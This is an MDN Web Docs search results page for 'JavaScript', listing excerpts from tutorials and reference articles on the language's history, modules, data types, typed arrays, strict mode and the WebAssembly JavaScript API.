Search completed in 1.25 seconds.
A re-introduction to JavaScript (JS tutorial) - JavaScript
Why a re-introduction? Because
JavaScript is notorious for being the world's most misunderstood programming language. It is often derided as being a toy, but beneath its layer of deceptive simplicity, powerful language features await.
JavaScript is now used by an incredible number of high-profile applications, showing that deeper knowledge of this technology is an important skill for any web or mobile developer. It's useful to start with an overview of the language's history.
JavaScript was created in 1995 by Brendan Eich while he was an engineer at Netscape.
JavaScript was first released with Netscape 2 early in 1996. It was originally going to be called LiveScript, but it was renamed in an ill-fated marketing decision that attempted to capitalize on the popularity of Sun Microsystem's Java langu...
...early in 1996. It was originally going to be called LiveScript, but it was renamed in an ill-fated marketing decision that attempted to capitalize on the popularity of Sun Microsystem's Java language -- despite the two having very little in common. This has been a source of confusion ever since. Several months later, Microsoft released JScript with Internet Explorer 3. It was a mostly-compatible
JavaScript work-alike. Several months after that, Netscape submitted
JavaScript to Ecma International, a European standards organization, which resulted in the first edition of the ECMAScript standard that year. The standard received a significant update as ECMAScript edition 3 in 1999, and it has stayed pretty much stable ever since. The fourth edition was abandoned, due to political differences concerning...
... 3 in 1999, and it has stayed pretty much stable ever since. The fourth edition was abandoned, due to political differences concerning language complexity. Many parts of the fourth edition formed the basis for ECMAScript edition 5, published in December of 2009, and for the 6th major edition of the standard, published in June of 2015. ...
...And 49 more matches
JavaScript modules - JavaScript
<< Previous This guide gives you all you need to get started with
JavaScript module syntax. A background on modules
JavaScript programs started off pretty small -- most of its usage in the early days was to do isolated scripting tasks, providing a bit of interactivity to your web pages where needed, so large scripts were generally not needed. Fast forward a few years and we now have complete applications being run in browsers with a lot of
JavaScript, as well as
JavaScript being used in other contexts (Node.js, for example). It has therefore made sense in recent years to start thinking about providing mechanisms for splitting
JavaScript programs up into separate modules that can be imported when needed. Node.js has had this ability for a long time, and there are a number of JavaScr...
... recently Webpack and Babel). The good news is that modern browsers have started to support module functionality natively, and this is what this article is all about. This can only be a good thing -- browsers can optimize loading of modules, making it more efficient than having to use a library and do all of that extra client-side processing and extra round trips. ...
...To change preferences in Firefox, visit about:config.IE No ...
...And 15 more matches
JavaScript data types and data structures - JavaScript
Programming languages all have built-in data structures, but these often differ from one language to another. This article attempts to list the built-in data structures available in
JavaScript and what properties they have. These can be used to build other data structures. Wherever possible, comparisons with other languages are drawn. Dynamic typing
JavaScript is a loosely typed and dynamic language. ...
...es all have built-in data structures, but these often differ from one language to another. This article attempts to list the built-in data structures available in
JavaScript and what properties they have. These can be used to build other data structures. Wherever possible, comparisons with other languages are drawn. Dynamic typing
JavaScript is a loosely typed and dynamic language. ...
...heck for the largest available value or smallest available value within +-Infinity, you can use the constants Number.MAX_VALUE or Number.MIN_VALUE. Starting with ECMAScript 2015, you are also able to check if a number is in the double-precision floating-point number range using Number.isSafeInteger() as well as Number.MAX_SAFE_INTEGER and Number.MIN_SAFE_INTEGER. Beyond this range, integers in
JavaScript are not safe anymore and will be a double-precision floating point approximation of the value. The number type has only one integer with two representations: 0 is represented as both -0 and +0. (0 is an alias for +0.) In the praxis, this has almost no impact. For example, +0 === -0 is true. However, you are able to notice this when you divide by zero: > 42 / +0 Infinity > 42 / -0 -Infinity ...
...And 10 more matches
About the JavaScript reference - JavaScript
The
JavaScript reference serves as a repository of facts about the
JavaScript language. The entire language is described here in detail. As you write
JavaScript code, you'll refer to these pages often (thus the title "
JavaScript reference"). If you're learning
JavaScript, or need help understanding some of its capabilities or features, check out the
JavaScript guide. The
JavaScript language is intended to be used within some larger environment, be it a browser, server-side scripts, or similar. For the most part, this reference attempts to be environment-agnostic and does not target a web browser environment. ...
...Once you have a firm grasp of the fundamentals, you can use the reference to get more details on individual objects and language constructs. ...
...ning
JavaScript, or need help understanding some of its capabilities or features, check out the
JavaScript guide. The
JavaScript language is intended to be used within some larger environment, be it a browser, server-side scripts, or similar. For the most part, this reference attempts to be environment-agnostic and does not target a web browser environment. Where to find
JavaScript information
JavaScript documentation of core language features (pure ECMAScript, for the most part) includes the following: The
JavaScript guide The
JavaScript reference If you are new to
JavaScript, start with the guide. Once you have a firm grasp of the fundamentals, you can use the reference to get more details on individual objects and language constructs. ...
...And 4 more matches
JavaScript shells - JavaScript
A
JavaScript shell allows you to quickly test snippets of
JavaScript code without having to reload a web page. They are extremely useful for developing and debugging code. Standalone
JavaScript shells The following
JavaScript shells are stand-alone environments, like Perl or Python. Node.js - Node.js is a platform for easily building fast, scalable network applications. JSDB - A standalone
JavaScript shell, with compiled binaries for Windows, Mac, and Linux. JavaLikeScript - A standalone, extensible
JavaScript shell including both native and
JavaScript libraries. GLUEscript - A standalone
JavaScript shell for writing cross-platform
JavaScript applications. It can use wxWidgets for GUI apps and was formerly called wx
JavaScript. jspl - A standalone
JavaScript shell enhanced by Perl. Can use...
...es for Windows, Mac, and Linux. JavaLikeScript - A standalone, extensible
JavaScript shell including both native and
JavaScript libraries. GLUEscript - A standalone
JavaScript shell for writing cross-platform
JavaScript applications. It can use wxWidgets for GUI apps and was formerly called wx
JavaScript. jspl - A standalone
JavaScript shell enhanced by Perl. Can use Perl modules directly from
JavaScript: DBI for database integration, GTK2 for GUI apps, POSIX for system programming, etc. The best of CPAN now for
JavaScript programmers. ShellJS - Portable Unix shell commands for Node.js List of
JavaScript shells The following
JavaScript shells work with Mozilla. ...
...ript. jspl - A standalone
JavaScript shell enhanced by Perl. Can use Perl modules directly from
JavaScript: DBI for database integration, GTK2 for GUI apps, POSIX for system programming, etc. The best of CPAN now for
JavaScript programmers. ShellJS - Portable Unix shell commands for Node.js List of
JavaScript shells The following
JavaScript shells work with Mozilla. Firefox has a built-in
JavaScript console, which support multi-line editing.
JavaScript Shell (js) - A command line interpreter for
JavaScript xpcshell is an XPConnect - enabled shell, sometimes useful for Mozilla development. Babel REPL - A browser-based REPL for experimenting with future
JavaScript. ES6Console.com - An open-source
JavaScript console to test ECMAScript 2015 code inside the browser. jsconsole.com -- An open-...
...And 3 more matches
JavaScript technologies overview - JavaScript
This core language is also used in non-browser environments, for example in node.js. ...
... This core language is also used in non-browser environments, for example in node.js. ...
... This core language is also used in non-browser environments, for example in node.js. ...
...And 2 more matches
JavaScript Guide - JavaScript
The
JavaScript Guide shows you how to use
JavaScript and gives an overview of the language. If you need exhaustive information about a language feature, have a look at the
JavaScript reference. ...
... The
JavaScript Guide shows you how to use
JavaScript and gives an overview of the language. If you need exhaustive information about a language feature, have a look at the
JavaScript reference. ...
... The
JavaScript Guide shows you how to use
JavaScript and gives an overview of the language. If you need exhaustive information about a language feature, have a look at the
JavaScript reference. ...
...es Creating objects Defining methods Getter and setter Details of the object model Prototype-based OOP Creating object hierarchies Inheritance Promises Guarantees Chaining Error propagation Composition Timing Iterators and generators Iterators Iterables Generators Meta programming Proxy Handlers and traps Revocable Proxy Reflect
JavaScript modules Exporting Importing Default exports Renaming features Aggregating modules Dynamic module loading Next >> ...
JavaScript reference - JavaScript
This part of the
JavaScript section on MDN serves as a repository of facts about the
JavaScript language. Read more about this reference. Built-ins
JavaScript standard built-in objects, along with their methods and properties. Value properties Infinity NaN undefined globalThis Function properties eval() isFinite() isNaN() parseFloat() parseInt() decodeURI() decodeURIComponent() encodeURI() encodeURIComponent() Fundamental objects Object Function Boolean Symbol Error objects Error AggregateError EvalError InternalError RangeError ReferenceError SyntaxError TypeError URIError Numbers & dates Number BigInt Math Date Text processing String RegExp Indexed Collections Array Int8Array ...
...nalization Intl Intl.Collator Intl.DateTimeFormat Intl.DisplayNames Intl.ListFormat Intl.Locale Intl.NumberFormat Intl.PluralRules Intl.RelativeTimeFormat WebAssembly WebAssembly WebAssembly.Module WebAssembly.Instance WebAssembly.Memory WebAssembly.Table WebAssembly.CompileError WebAssembly.LinkError WebAssembly.RuntimeError Statements
JavaScript statements and declarations Control flowBlock break continue Empty if...else switch throw try...catch Declarations var let const Functions and classes function function* async function return class Iterations do...while for for each...in for...in for...of for await...of while Other debugger import label with E...
... Primary expressionsthis function class function* yield yield* async function await [] {} /ab+c/i ( ) null Left-hand-side expressions Property accessors new new.target super ...obj Increment & decrement A++ A-- ++A --A Unary operators delete void typeof + - ~ ! Arithmetic operators ...
... arguments Arrow functions Default parameters Rest parameters Additional reference pages Lexical grammar Data types and data structures Strict mode Deprecated features ...
JavaScript language resources - JavaScript
ECMAScript standardized by the ECMA International standards organization in the ECMA-262 and ECMA-402 specifications. ...
...g language. This was the first version of the ECMAScript standard. ECMA-262 2nd Edition PDF August 1998 ECMAScript Language Specification. This is the second revision of the ECMAScript standard; also ISO standard 16262. ECMA-262 3rd Edition PDF December 1999 ECMAScript Language Specification. This is the third revision of the ECMAScript standard; corresponds to
JavaScript 1.5. See also the errata ECMA-262 5th Edition PDF December 2009 ECMAScript Language Specification. This is the fifth revision of the ECMAScript standard. See also the ES5 errata and ECMAScript 5 support in Mozilla ECMA-357 PDF June 2004 ECMAScript for XML (E4X). See also the E4X errata. ECMA-262 5.1 Edition PDF, HTML June 2011 This...
...en finalized yet. See Wikipedia ECMAScript entry for more information on ECMAScript history. You can participate in or just track the work on the next revisions of the ECMAScript Language Specification, code-named "Harmony", and the ECMAScript Internationalization API Specification via public wiki and the es-discuss mailing list linked from ecmascript.org. Implementations SpiderMonkey - the
JavaScript engine used in various Mozilla products, including Firefox; Rhino - the
JavaScript engine is written in Java; Tamarin - the ActionScript virtual machine (used in the Adobe(R) Flash(R) Player); Other implementations (Wikipedia). ...
Warning: JavaScript 1.6's for-each-in loops are deprecated - JavaScript
Examples Object iteration for each...in has been used to iterate over the specified object values. ...
... Examples Object iteration for each...in has been used to iterate over the specified object values. ...
... Examples Object iteration for each...in has been used to iterate over the specified object values. ...
JavaScript error reference - JavaScript
List of errors In this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). ...
... the reported problem isn't always immediately clear. The pages below will provide additional details about these errors. Each error is an object based upon the Error object, and has a name and a message. Errors displayed in the Web console may include a link to the corresponding page below to help you quickly comprehend the problem in your code. For a beginner's introductory tutorial on fixing
JavaScript errors, see What went wrong? Troubleshooting
JavaScript. List of errors In this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). Together, these two properties provide a starting point toward understanding and resolving the error. For more information, follow the links below! Error: Permission denied to access property "x"Interna...
...lid assignment to const "x"TypeError: property "x" is non-configurable and can't be deletedTypeError: setting getter-only property "x"TypeError: variable "x" redeclares argumentURIError: malformed URI sequenceWarning: 08/09 is not a legal ECMA-262 octal constantWarning: -file- is being assigned a //# sourceMappingURL, but already has oneWarning: Date.prototype.toLocaleFormat is deprecatedWarning:
JavaScript 1.6's for-each-in loops are deprecatedWarning: String.x is deprecated; use String.prototype.x insteadWarning: expression closures are deprecatedWarning: unreachable code after return statement ...
JavaScript typed arrays - JavaScript
JavaScript typed arrays are array-like objects that provide a mechanism for reading and writing raw binary data in memory buffers. As you may already know, Array objects grow and shrink dynamically and can have any
JavaScript value.
JavaScript engines perform optimizations so that these arrays are fast. However, as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using WebSockets, and so forth, it has become clear that there are times when it would be helpful for
JavaScript code to be able to quickly and easily manipulate raw binary data. This is where typed arrays come in. ...
...ons so that these arrays are fast. However, as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using WebSockets, and so forth, it has become clear that there are times when it would be helpful for
JavaScript code to be able to quickly and easily manipulate raw binary data. This is where typed arrays come in. Each entry in a
JavaScript typed array is a raw binary value in one of a number of supported formats, from 8-bit integers to 64-bit floating-point numbers. However, typed arrays are not to be confused with normal arrays, as calling Array.isArray() on a typed array returns false. Moreover, not all methods available for normal arrays are supported by typed arrays (e.g. push and pop). Buffers and views: typed array architec...
... of supported formats, from 8-bit integers to 64-bit floating-point numbers. However, typed arrays are not to be confused with normal arrays, as calling Array.isArray() on a typed array returns false. Moreover, not all methods available for normal arrays are supported by typed arrays (e.g. push and pop). Buffers and views: typed array architecture To achieve maximum flexibility and efficiency,
JavaScript typed arrays split the implementation into buffers and views. A buffer (implemented by the ArrayBuffer object) is an object representing a chunk of data; it has no format to speak of and offers no mechanism for accessing its contents. In order to access the memory contained in a buffer, you need to use a view. A view provides a context -- that is, a data type, starting offset, and the number of e...
What is JavaScript? - Learn web development
Overview: First steps Next Welcome to the MDN beginner's
JavaScript course! ...
... Overview: First steps Next Welcome to the MDN beginner's
JavaScript course! ...
... Overview: First steps Next Welcome to the MDN beginner's
JavaScript course! ...
...And 46 more matches
Handling common JavaScript problems - Learn web development
Previous Overview: Cross browser testing Next Now we'll look at common cross-browser
JavaScript problems and how to fix them. This includes information on using browser dev tools to track down and fix problems, using Polyfills and libraries to work around problems, getting modern
JavaScript features working in older browsers, and more. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages; an idea of the high-level principles of cross browser testing. Objective: To be able to diagnose common
JavaScript cross-browser problems, and use appropriate tools and techniques to fix them. ...
...oblems, getting modern
JavaScript features working in older browsers, and more. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages; an idea of the high-level principles of cross browser testing. Objective: To be able to diagnose common
JavaScript cross-browser problems, and use appropriate tools and techniques to fix them. ...
...aScript features working in older browsers, and more. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages; an idea of the high-level principles of cross browser testing. Objective: To be able to diagnose common
JavaScript cross-browser problems, and use appropriate tools and techniques to fix them. ...
...And 43 more matches
Details of the object model - JavaScript
Class-based vs. prototype-based languages Class-based object-oriented languages, such as Java and C++, are founded on the concept of two distinct entities: classes and instances. ...
... Class-based vs. prototype-based languages Class-based object-oriented languages, such as Java and C++, are founded on the concept of two distinct entities: classes and instances. ...
... Class-based vs. prototype-based languages Class-based object-oriented languages, such as Java and C++, are founded on the concept of two distinct entities: classes and instances. ...
...And 42 more matches
Introduction - JavaScript
<< PreviousNext >> This chapter introduces
JavaScript and discusses some of its fundamental concepts. What you should already know This guide assumes you have the following basic background: A general understanding of the Internet and the World Wide Web (WWW). Good working knowledge of HyperText Markup Language (HTML). Some programming experience. If you are new to programming, try one of the tutorials linked on the main page about
JavaScript. Where to find
JavaScript information The
JavaScript documentation on MDN includes the following: Learn Web Development provides information for beginners and introduces basic concepts of programming and the Internet. ...
... knowledge of HyperText Markup Language (HTML). Some programming experience. If you are new to programming, try one of the tutorials linked on the main page about
JavaScript. Where to find
JavaScript information The
JavaScript documentation on MDN includes the following: Learn Web Development provides information for beginners and introduces basic concepts of programming and the Internet.
JavaScript Guide (this guide) provides an overview about the
JavaScript language and its objects.
JavaScript Reference provides detailed reference material for
JavaScript. ...
...avaScript information The
JavaScript documentation on MDN includes the following: Learn Web Development provides information for beginners and introduces basic concepts of programming and the Internet.
JavaScript Guide (this guide) provides an overview about the
JavaScript language and its objects.
JavaScript Reference provides detailed reference material for
JavaScript. If you are new to
JavaScript, start with the articles in the learning area and the
JavaScript Guide. Once you have a firm grasp of the fundamentals, you can use the
JavaScript Reference to get more details on individual objects and statements. ...
...And 29 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
by Davey Waterson,
JavaScript Architect, Aptana There's no debate that
JavaScript is the most widely used language client-side on the Web. Regardless of how the back-ends of your web applications are implemented, client side you're using
JavaScript for everything from same form validations to full Ajax applications. Now imagine being able to develop web apps using
JavaScript server-side too. Wouldn't being able to use the same language on both client and server simplify life for us developers? Full Circle If you were part of the early web's big bang in the mid-1990s you might recall that being able to use
JavaScript both client-side and server-side was core to Netscape's original vision for Web apps. Netscape Livewire was the first server-side
JavaScript engine. Now m...
...l Circle If you were part of the early web's big bang in the mid-1990s you might recall that being able to use
JavaScript both client-side and server-side was core to Netscape's original vision for Web apps. Netscape Livewire was the first server-side
JavaScript engine. Now more than 10 years later, with Netscape's technology group having been transformed into The Mozilla Foundation, server-side
JavaScript is seeing a strong resurgence because of the simplicity it provides to Web developers reinvigorated by the fact that today's CPUs can process
JavaScript more than 10x faster than the CPUs of the mid-90's ever could. ...
...n transformed into The Mozilla Foundation, server-side
JavaScript is seeing a strong resurgence because of the simplicity it provides to Web developers reinvigorated by the fact that today's CPUs can process
JavaScript more than 10x faster than the CPUs of the mid-90's ever could. And just like before, it's the Mozilla team that's at the core of this latest evolution of the Web. In fact, the next
JavaScript engine from Mozilla, TraceMonkey, is poised to boost
JavaScript performance by factors of 20 to 40 times according to Brendan Eich, Mozilla CTO and the creator of
JavaScript. ...
...And 25 more matches
Grammar and types - JavaScript
A semicolon is not necessary after a statement if it is written on its own line. ...
... A semicolon is not necessary after a statement if it is written on its own line. ...
... A semicolon is not necessary after a statement if it is written on its own line. ...
...And 23 more matches
JavaScript Daemons Management - Archive of obsolete content
Here are some code snippets that simplify and abstract the management of daemons. The following daemons management framework is the major version of setInterval - A little framework. Introduction Sometimes a page uses dozens and dozens of animations. ...
...n the recommended way for simple animations, because Daemon without its collection of methods is essentially a clone of it. The architecture of the Daemon constructor explicitly avoids the use of closures. It also offers an alternative way to pass the this object to the callback functions (see The "this" problem for details). ...
...ons (declarable during the instantiation of the daemon). So the MiniDaemon framework will remain the recommended way for simple animations, because Daemon without its collection of methods is essentially a clone of it. /*\ |*| |*| ******************************* |*| * daemon.js * |*| ******************************* |*| |*| ver. 1.0 rev. 2 |*| |*| daemon.js - A
JAVASCRIPT HIGHLY SCALABLE DAEMONS MANAGER. |*| |*| https://developer.mozilla.org/docs/
JavaScript/Timers/Daemons |*| https://developer.mozilla.org/User:fusionchess |*| |*| This framework is released under the GNU Public License, version 3 or later. |*| http://www.gnu.org/licenses/gpl-3.0.html |*| \*/ "use strict"; /**************************** * THE DAEMON SYSTEM * *********************...
...And 20 more matches
Introduction to the JavaScript shell
The version() shell builtin is still there for testing legacy features. ...
...The version() shell builtin is still there for testing legacy features. ...
...The version() shell builtin is still there for testing legacy features. ...
...And 20 more matches
JavaScript basics - Learn web development
Previous Overview: Getting started with the web Next
JavaScript is a programming language that adds interactivity to your website. This happens in games, in the behavior of responses when buttons are pressed or with data entry on forms; with dynamic styling; with animation, etc. This article helps you get started with
JavaScript and furthers your understanding of what is possible. What is
JavaScript?
JavaScript ("JS" for short) is a full-fledged dynamic programming language that can add interactivity to a website. It was invented by Brendan Eich (co-founder of the Mozilla project), the Mozilla Foundation, and the Mozilla Corporation.
JavaScript is versatile and beginner-friendly. With more experience, you'll be able to create games, animated 2D and 3D graphics, comprehensive database-...
...short) is a full-fledged dynamic programming language that can add interactivity to a website. It was invented by Brendan Eich (co-founder of the Mozilla project), the Mozilla Foundation, and the Mozilla Corporation.
JavaScript is versatile and beginner-friendly. With more experience, you'll be able to create games, animated 2D and 3D graphics, comprehensive database-driven apps, and much more!
JavaScript itself is relatively compact, yet very flexible. Developers have written a variety of tools on top of the core
JavaScript language, unlocking a vast amount of functionality with minimum effort. These include: Browser Application Programming Interfaces (APIs) built into web browsers, providing functionality such as dynamically creating HTML and setting CSS styles; collecting and manipulating a ...
...am from a user's webcam, or generating 3D graphics and audio samples. Third-party APIs that allow developers to incorporate functionality in sites from other content providers, such as Twitter or Facebook. Third-party frameworks and libraries that you can apply to HTML to accelerate the work of building sites and applications. ...
...And 17 more matches
Basic math in JavaScript — numbers and operators - Learn web development
Previous Overview: First steps Next At this point in the course we discuss math in
JavaScript -- how we can use operators and other features to successfully manipulate numbers to do our bidding. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what
JavaScript is. Objective: To gain familiarity with the basics of math in
JavaScript. Everybody loves math Okay, maybe not. Some of us like math, some of us have hated math ever since we had to learn multiplication tables and long division in school, and some of us sit somewhere in between the two. ...
... This article discusses only the basic parts that you need to know now. ...
... This article discusses only the basic parts that you need to know now. ...
...And 16 more matches
A first splash into JavaScript - Learn web development
Previous Overview: First steps Next Now you've learned something about the theory of
JavaScript, and what you can do with it, we are going to give you a crash course in the basic features of
JavaScript via a completely practical tutorial. Here you'll build up a simple "Guess the number" game, step by step. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what
JavaScript is. Objective: To have a first bit of experience at writing some
JavaScript, and gain at least a basic understanding of what writing a
JavaScript program involves. ...
...The code syntax looks different, but the concepts are still largely the same. ...
...The code syntax looks different, but the concepts are still largely the same. Thinking like a programmer One of the hardest things to learn in programming is not the syntax you need to learn, but how to apply it to solve real world problems. ...
...And 15 more matches
Avoiding leaks in JavaScript XPCOM components
article was written. E. g. in Firefox 3, a cycle collector was introduced and refined in later versions, and Mozilla is currently working on a generational garbage collector for JS. This article needs to be updated to reflect the changes and the cases where they help. Take every information on this site with a grain of salt, although most concepts and best practices still apply. Using XPCOM in
JavaScript (also known as XPConnect) is an environment where memory management issues are not obvious. There are no calls to malloc and free and no reference counting. Despite this, it's easy to write
JavaScript code that leaks. It's easy to write leaky code in any garbage-collected language. But it's even easier in this environment because some of the objects you're dealing with are reference-counted behin...
...e memory management issues are not obvious. There are no calls to malloc and free and no reference counting. Despite this, it's easy to write
JavaScript code that leaks. It's easy to write leaky code in any garbage-collected language. But it's even easier in this environment because some of the objects you're dealing with are reference-counted behind the scenes. Programmers writing and reviewing
JavaScript code in Mozilla should understand how code using XPCOM in
JavaScript can leak so that they can avoid leaks. This document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common
JavaScript patterns that cause leaks. Basics of memory management Creating objects that are not a fixed size for the lifetime of the program (global variable...
...y to reference counting as well. Garbage collection Garbage collection is generally used to refer to algorithms that (1) determine which objects are still needed by starting from a set of roots and finding all objects reachable from those objects and (2) returning all remaining objects to the heap. The roots include things like global variables and variables on the current call stack. Mozilla's
JavaScript engine uses one of the most common garbage collection algorithms, mark and sweep, in which the garbage collector clears the mark bit on each object, sets the mark bits on all roots and all objects reachable from them, and then finalizes all objects not marked and returns the memory they used to the heap. Garbage collection (at least when the term is not used to refer to lesser algorithms like re...
...And 15 more matches
Inheritance and the prototype chain - JavaScript
JavaScript is a bit confusing for developers experienced in class-based languages (like Java or C++), as it is dynamic and does not provide a class implementation per se (the class keyword is introduced in ES2015, but is syntactical sugar,
JavaScript remains prototype-based). When it comes to inheritance,
JavaScript only has one construct: objects. Each object has a private property which holds a link to another object called its prototype. That prototype object has a prototype of its own, and so on until an object is reached with null as its prototype. By definition, null has no prototype, and acts as the final link in this prototype chain. Nearly all objects in
JavaScript are instances of Object which sits on the top of a prototype chain. While this confusion is often considered to be one of J...
...vaScript are instances of Object which sits on the top of a prototype chain. While this confusion is often considered to be one of
JavaScript's weaknesses, the prototypal inheritance model itself is, in fact, more powerful than the classic model. It is, for example, fairly trivial to build a classic model on top of a prototypal model. Inheritance with the prototype chain Inheriting properties
JavaScript objects are dynamic "bags" of properties (referred to as own properties).
JavaScript objects have a link to a prototype object. When trying to access a property of an object, the property will not only be sought on the object but on the prototype of the object, the prototype of the prototype, and so on until either a property with a matching name is found or the end of the prototype chain is reac...
...e prototype, and so on until either a property with a matching name is found or the end of the prototype chain is reached. Following the ECMAScript standard, the notation someObject.[[Prototype]] is used to designate the prototype of someObject. Since ECMAScript 2015, the [[Prototype]] is accessed using the accessors Object.getPrototypeOf() and Object.setPrototypeOf(). This is equivalent to the
JavaScript property __proto__ which is non-standard but de-facto implemented by many browsers. It should not be confused with the func.prototype property of functions, which instead specifies the [[Prototype]] to be assigned to all instances of objects created by the given function when used as a constructor. The Object.prototype property represents the Object prototype object. Here is what happens when ...
...And 13 more matches
JavaScript
JavaScript (JS) is a lightweight, interpreted, or just-in-time compiled programming language with first-class functions. While it is most well-known as the scripting language for Web pages, many non-browser environments also use it, such as Node.js, Apache CouchDB and Adobe Acrobat.
JavaScript is a prototype-based, multi-paradigm, single-threaded, dynamic language, supporting object-oriented, imperative, and declarative (e.g. functional programming) styles. Read more about
JavaScript. This section is dedicated to the
JavaScript language itself, and not the parts that are specific to Web pages or other host environments. For information about API specifics to Web pages, please see Web APIs and DOM. The standard for
JavaScript is ECMAScript. As of 2012, all modern browsers fully support ECMAScript ...
...Older browsers support at least ECMAScript 3. On June 17, 2015, ECMA International published the sixth major version of ECMAScript, which is officially called ECMAScript 2015, and was initially referred to as ECMAScript 6 or ES6. Since then, ECMAScript standards are on yearly release cycles. This documentation refers to the latest draft version, which is currently ECMAScript 2020. Do not confuse
JavaScript with the Java programming language. Both "Java" and "
JavaScript" are trademarks or registered trademarks of Oracle in the U.S. and other countries. However, the two programming languages have a very different syntax, semantic, and use. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get ...
..." and "
JavaScript" are trademarks or registered trademarks of Oracle in the U.S. and other countries. However, the two programming languages have a very different syntax, semantic, and use. Looking to become a front-end web developer? ...
...And 13 more matches
CSS and JavaScript accessibility best practices - Learn web development
Previous Overview: Accessibility Next CSS and
JavaScript, when used properly, also have the potential to allow for accessible web experiences ... or they can significantly harm accessibility if misused. This article outlines some CSS and
JavaScript best practices that should be considered to ensure even complex content is as accessible as possible. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and
JavaScript, and understanding of what accessibility is. Objective: To gain familiarity with using CSS and
JavaScript appropriately in your web documents to maximise accessibility and not detract from it. ...
... be considered to ensure even complex content is as accessible as possible. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and
JavaScript, and understanding of what accessibility is. Objective: To gain familiarity with using CSS and
JavaScript appropriately in your web documents to maximise accessibility and not detract from it. CSS and
JavaScript are accessible? CSS and
JavaScript don't have the same immediate importance for accessibility as HTML, but they are still able to help or damage accessibility, depending on how they are used. To put it another way, it is important that you consider some best practice advice to make sure that your use of CSS and
JavaScript doesn't ruin the accessibility of your documents. CSS Let's start off by...
...websites in high contrast colors that are easy for them to see. Whatever the need, you should be comfortable with this, and make your designs flexible enough so that such changes will work in your design. As an example, you might want to make sure your main content area can handle bigger text (maybe it will start to scroll to allow it all to be seen), and won't just hide it, or break completely.
JavaScript JavaScript can also break accessibility, depending on how it is used. Modern
JavaScript is a powerful language, and we can do so much with it these days, from simple content and UI updates to fully-fledged 2D and 3D games. There is no rule that says all content has to be 100% accessible to all people -- you just need to do what you can, and make your apps as accessible as possible. Simple cont...
...And 12 more matches
Solve common problems in your JavaScript code - Learn web development
Common beginner's mistakes Correct spelling and casing If your code doesn't work and/or the browser complains that something is undefined, check that you've spelt all your variable names, function names, etc. correctly. ...
...h the following statement: myFunction(); Function scope Remember that functions have their own scope -- you can't access a variable value set inside a function from outside the function, unless you declared the variable globally (i.e. not inside any functions), or return the value from the function. ...
...u return from a function, the
JavaScript interpreter exits the function -- no code after the return statement will run. In fact, some browsers (like Firefox) will give you an error message in the developer console if you have code after a return statement. Firefox gives you "unreachable code after return statement". Object notation versus normal assignment When you assign something normally in
JavaScript, you use a single equals sign, e.g.: const myNumber = 0; With Objects, however, you need to take care to use the correct syntax. The object must be surrounded by curly braces, member names must be separated from their values using colons, and members must be separated by commas. ...
...And 12 more matches
Using the WebAssembly JavaScript API - WebAssembly
If you have already compiled a module from another language using tools like Emscripten, or loaded and run the code yourself, the next step is to learn more about using the other features of the WebAssembly
JavaScript API. This article teaches you what you'll need to know. Note: If you are unfamiliar with the basic concepts mentioned in this article and need more explanation, read WebAssembly concepts first, then come back. Some simple examples Let's run through some examples that explain how to use the WebAssembly
JavaScript API, and how to use it to load a wasm module in a web page. Note: You can find the sample code in our webassembly-examples GitHub repo. Preparing the example First we need a wasm module! Grab our simple.wasm file and save a copy in a new directory on your local mac...
...asm module (which we also meet in Converting WebAssembly format to wasm): (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i)) In the second line, you will see that the import has a two-level namespace -- the internal function $i is imported from imports.imported_func. We need to reflect this two-level namespace in
JavaScript when writing the object to be imported into the wasm module. Create a <script></script> element in your HTML file, and add the following code to it: var importObject = { imports: { imported_func: arg => console.log(arg) } }; Streaming the WebAssembly module New in Firefox 58 is the ability to compile and instantiate WebAssembly modules directly from underlying sources. This is achieved u...
...ateStreaming() methods. These methods are easier than their non-streaming counterparts, because they can turn the byte code directly into Module/Instance instances, cutting out the need to separately put the Response into an ArrayBuffer. This example (see our instantiate-streaming.html demo on GitHub, and view it live also) shows how to use instantiateStreaming() to fetch a wasm module, import a
JavaScript function into it, compile and instantiate it, and access its exported function -- all in one step. Add the following to your script, below the first block: WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject) .then(obj => obj.instance.exports.exported_func()); The net result of this is that we call our exported WebAssembly function exported_func, which in turn calls our importe...
...And 12 more matches
Strict mode - JavaScript
Sometimes you'll see the default, non-strict mode referred to as "sloppy mode". This isn't an official term, but be aware of it, just in case.
JavaScript's strict mode, introduced in ECMAScript 5, is a way to opt in to a restricted variant of
JavaScript, thereby implicitly opting-out of "sloppy mode". Strict mode isn't just a subset: it intentionally has different semantics from normal code. Browsers not supporting strict mode will run strict mode code with different behavior from browsers that do, so don't rely on strict mode without feature-testing for support for the relevant aspects of strict mode. ...
...erent semantics from normal code. Browsers not supporting strict mode will run strict mode code with different behavior from browsers that do, so don't rely on strict mode without feature-testing for support for the relevant aspects of strict mode. Strict mode code and non-strict mode code can coexist, so scripts can opt into strict mode incrementally. Strict mode makes several changes to normal
JavaScript semantics: Eliminates some
JavaScript silent errors by changing them to throw errors. Fixes mistakes that make it difficult for
JavaScript engines to perform optimizations: strict mode code can sometimes be made to run faster than identical code that's not strict mode. Prohibits some syntax likely to be defined in future versions of ECMAScript. See transitioning to strict mode, if you want...
... Invoking strict mode Strict mode applies to entire scripts or to individual functions. It doesn't apply to block statements enclosed in {} braces; attempting to apply it to such contexts does nothing. ...
...And 11 more matches
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
Summary
JavaScript (or "JS") is a programming language used most often for dynamic client-side scripts on webpages, but it is also often used on the server-side, using a runtime such as Node.js.
JavaScript should not be confused with the Java programming language. Although "Java" and "
